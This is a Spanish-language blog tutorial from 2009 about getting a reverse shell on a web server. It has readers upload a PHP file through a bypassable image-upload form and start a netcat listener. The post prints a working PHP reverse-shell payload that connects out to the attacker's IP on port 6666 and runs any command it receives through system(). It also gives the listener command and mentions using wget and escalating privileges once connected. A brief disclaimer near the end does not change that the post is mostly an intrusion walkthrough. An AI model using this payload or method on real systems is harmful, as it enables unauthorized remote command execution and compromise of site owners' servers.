jueves 17 de diciembre de 2009

PenTest Reverse Shell con PHP y NETCAT

La mayoría de los que andan en el hacking, la seguridad informatica y/o la rama de la informática seguramente alguna ves ha escuchado del NMAP, el nmap viene en un paquete con otra herramienta, excelente herramienta para conexiones remotas, se llama NetCat, el netcat nos ayuda en muchas cosillas, entre ellas está el ver headers, hacer conexiones remotas, poner en escucha servidores y sinceramente es una t00l que se necesita en el pen-test...


Bueno ahora lo que yo les voy a enseñar es como manejar a traves del netcat manejar el code y al mismo tiempo no usar shells como la R57 o C99 mmm bueno aquí les cuento como haremos...



lo primero que debemos hacer es ganar acceso al host, es decir debemos hacer la intrusión... mm nos bastará con encontrar un upload de imagenes bypasseable o lo que ustedes quieran o encuentren entonces vamos a subir a http://www.h4x0r.com/ a atraves de un upload de imagenes un archivo .php


http://www.h4x0r.com/upload.php?user=dedalo

despues de que hemos subido entonces nos dará que la ruta de nuestro archivo .php es:


http://www.h4x0r.com/upload/data/users/dedalo/shell.php


Como se han dado cuenta ya sabemos la ruta de nuestro archivo.php creo que hasta aquí hay dos preguntas que seguro alguno de ustedes se hará... la primera es como encontrar el archivo... pues es menos compleja de lo que se imaginan la respuesta... la ruta del archivo la sabremos gracias a que muchas veces nos dicen donde esta alojado el archivo por medio de links o pistas que podemos seguir o en otros casos podemos usar nuestro Addon Live Http Headers para ver por donde fue...


La otra pregunta se las puedo responder también, creo que es... la mas importante, que hay dentro del archivo .php... pues bueno dentro del archivo PHP debe haber un código como este:


<?php



/*para esto podemos usar fputs o fwrite*/



set_time_limit(0);



$msgin = "SeguridadBlanca Remote Shell";

$sock = fsockopen("IP", 6666);



fputs($sock, $msgin);



while(1){

$back = fgets($sock, 6666);



  if($back){

    $sys = system($back);

    fputs($sock, "$sys\n\n");

  }

}

// By Dedalo From SeguridadBlanca

?>



que pueden encontrar en pastebin también dando click aquí


como ven ese código es muy importante ya que es el que nos permitirá hacer la conexión a traves del puerto 6666, elejí ese por un random no es que siempre lo tienen que usar ustedes pueden escojer... ahora ya tenemos el archivo en el host... a hacer la conexión...no... aun falta algo que es fundamental... el PHP es un lenguaje que debe interpreta el Servidor como lo puede ser el APACHE que es el que normalmente se usa, en este caso como el servidor debe interpretarlo debemos acceder a el por eso debemos tener la ruta al archivo...previo a hacer la conexion debemos acceder a nuestro archivo que en este caso sería llendo a...

http://www.h4x0r.com/upload/data/users/dedalo/shell.php

cuando nosotros ingresemso el servidor lo interpretará y automaticamente si el servidor tiene fallos de seguridad interesantes no habrá problema en hacer algo como esto...


Ahora si la parte del NETCAT... es la forma con la que haremos la conexión... el programa está diseñado para que podamos acceder a ejecutar comandos del servidor segun el usuario que normalmente es APACHE pero podemos escalar privilegios segun las actualizaciones y un millon de factores pero por ahora haremos algo simple...


Descarguen el NETCAT Dando click aquí o si tienen el NMAP completo deberian tener por ahí un archivo llamado NC...


ahora abrimos nuestra consola vamos hasta la carpeta del netcat y vamos a hacer conexion...

como la conexion es inversa osea Reverse Conection o Reverse Shell cuando accedamos a la web recien haremos conexión como dije de manera previa...

con el nc nos pondremos en escucha con la siguiente sintaxis...

ncat -v -l -p 6666

ahora si ya tenemos en escucha y ahora si den click en go su navegador con la url:

http://www.h4x0r.com/upload/data/users/dedalo/shell.php


ahora deben ver como su consola le dice que se han conectado a ustedes... ya podemos hacer cosas como wget y alguna que otra... esto no solo les sirve para hacer cosas malas sino en caso de soporte y otro tipo de cosas... es un poco riesgoso hacer este tipo de cosas tanto para ustedes como para la web asi que no lo recomiento...


espero haya estado claro el tutorial...


Dudas?

Saludos
Dr.White